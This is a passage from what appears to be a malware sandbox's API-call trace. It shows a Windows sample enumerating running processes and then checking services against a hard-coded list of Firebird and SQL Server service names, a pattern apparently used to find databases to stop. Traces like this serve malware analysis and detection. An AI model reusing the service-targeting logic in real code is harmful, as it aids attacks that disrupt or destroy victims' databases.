cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0091.419] lstrlenW (lpString="taskhostw.exe") returned 13 [0091.419] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0091.419] lstrlenW (lpString="msoia.exe") returned 9 [0091.419] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0091.420] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0091.420] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0091.420] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0091.420] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0091.421] lstrlenW (lpString="msoia.exe") returned 9 [0091.421] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0091.421] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0091.422] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0091.422] lstrlenW (lpString="entering.exe") returned 12 [0091.422] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0091.423] lstrlenW (lpString="measurement nut d.exe") returned 21 [0091.423] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0091.423] lstrlenW (lpString="ai element.exe") returned 14 [0091.423] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0091.424] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0091.424] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0091.424] lstrlenW (lpString="clicking.exe") returned 12 [0091.424] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0091.425] lstrlenW (lpString="pack.exe") returned 8 [0091.425] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0091.425] lstrlenW (lpString="try-gtk.exe") returned 11 [0091.426] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0091.426] lstrlenW (lpString="counseling tmp.exe") returned 18 [0091.426] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0091.427] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0091.427] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0091.427] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0091.427] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0091.428] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0091.428] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0091.905] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0091.905] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0091.906] lstrlenW (lpString="jerry pure.exe") returned 14 [0091.906] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0091.907] lstrlenW (lpString="powerseller.exe") returned 15 [0091.907] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0091.908] lstrlenW (lpString="non firewall.exe") returned 16 [0091.908] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0091.909] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0091.909] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0091.910] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0091.910] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0091.911] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0091.911] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0091.911] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0091.911] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0091.912] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0091.912] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0091.913] lstrlenW (lpString="bd guidance.exe") returned 15 [0091.913] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0091.913] lstrlenW (lpString="conhost.exe") returned 11 [0091.913] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0091.914] lstrlenW (lpString="conhost.exe") returned 11 [0091.914] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0091.915] lstrlenW (lpString="lang hl gis.exe") returned 15 [0091.915] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.915] lstrlenW (lpString="svchost.exe") returned 11 [0091.916] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0091.916] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0091.916] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0091.917] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0091.917] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0091.918] lstrlenW (lpString="conhost.exe") returned 11 [0091.918] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.918] lstrlenW (lpString="svchost.exe") returned 11 [0091.918] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0091.919] lstrlenW (lpString="cmd.exe") returned 7 [0091.919] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0091.920] lstrlenW (lpString="conhost.exe") returned 11 [0091.920] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0091.920] CloseHandle (hObject=0x358) returned 1 [0091.920] Sleep (dwMilliseconds=0x1f4) [0092.794] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f0c8 [0092.795] EnumServicesStatusExW (in: hSCManager=0x47f0c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0092.796] GetLastError () returned 0xea [0092.796] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x4cb1e8 [0092.796] EnumServicesStatusExW (in: hSCManager=0x47f0c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4cb1e8, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4cb1e8, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0092.797] CloseServiceHandle (hSCObject=0x47f0c8) returned 1 [0092.797] lstrlenW (lpString="Appinfo") returned 7 [0092.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0092.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0092.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0092.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0092.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0092.798] lstrlenW (lpString="AppXSvc") returned 7 [0092.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0092.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0092.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0092.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0092.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0092.798] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0092.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0092.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0092.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0092.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0092.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0092.798] lstrlenW (lpString="Audiosrv") returned 8 [0092.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0092.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0092.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0092.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0092.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0092.798] lstrlenW (lpString="BFE") returned 3 [0092.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0092.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0092.799] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0092.799] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0092.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0092.799] lstrlenW (lpString="BITS") returned 4 [0092.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0092.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0092.799] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0092.799] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0092.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0092.799] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0092.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0092.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0092.799] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0092.799] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0092.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0092.799] lstrlenW (lpString="CDPSvc") returned 6 [0092.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0092.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0092.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0092.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0092.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0092.799] lstrlenW (lpString="ClickToRunSvc") returned 13 [0092.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0092.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0092.800] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0092.800] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0092.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0092.800] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0092.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0092.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0092.800] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0092.800] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0092.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0092.800] lstrlenW (lpString="CryptSvc") returned 8 [0092.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0092.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0092.800] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0092.800] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0092.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0092.800] lstrlenW (lpString="DcomLaunch") returned 10 [0092.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0092.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0092.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0092.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0092.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0092.800] lstrlenW (lpString="DeviceAssociationService") returned 24 [0092.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0092.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0092.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0092.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0092.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0092.801] lstrlenW (lpString="Dhcp") returned 4 [0092.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0092.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0092.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0092.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0092.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0092.801] lstrlenW (lpString="Dnscache") returned 8 [0092.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0092.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0092.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0092.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0092.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0092.801] lstrlenW (lpString="DoSvc") returned 5 [0092.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0092.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0092.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0092.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0092.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0092.801] lstrlenW (lpString="DPS") returned 3 [0092.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0092.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0092.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0092.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0092.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0092.802] lstrlenW (lpString="DusmSvc") returned 7 [0092.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0092.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0092.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0092.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0092.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0092.802] lstrlenW (lpString="EventLog") returned 8 [0092.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0092.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0092.802] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0092.802] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0092.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0092.802] lstrlenW (lpString="EventSystem") returned 11 [0092.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0092.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0092.802] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0092.802] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0092.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0092.802] lstrlenW (lpString="FontCache") returned 9 [0092.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0092.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0092.803] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0092.803] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0092.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0092.803] lstrlenW (lpString="gpsvc") returned 5 [0092.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0092.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0092.803] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0092.803] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0092.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0092.803] lstrlenW (lpString="iphlpsvc") returned 8 [0092.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0092.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0092.803] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0092.803] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0092.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0092.803] lstrlenW (lpString="KeyIso") returned 6 [0092.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0092.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 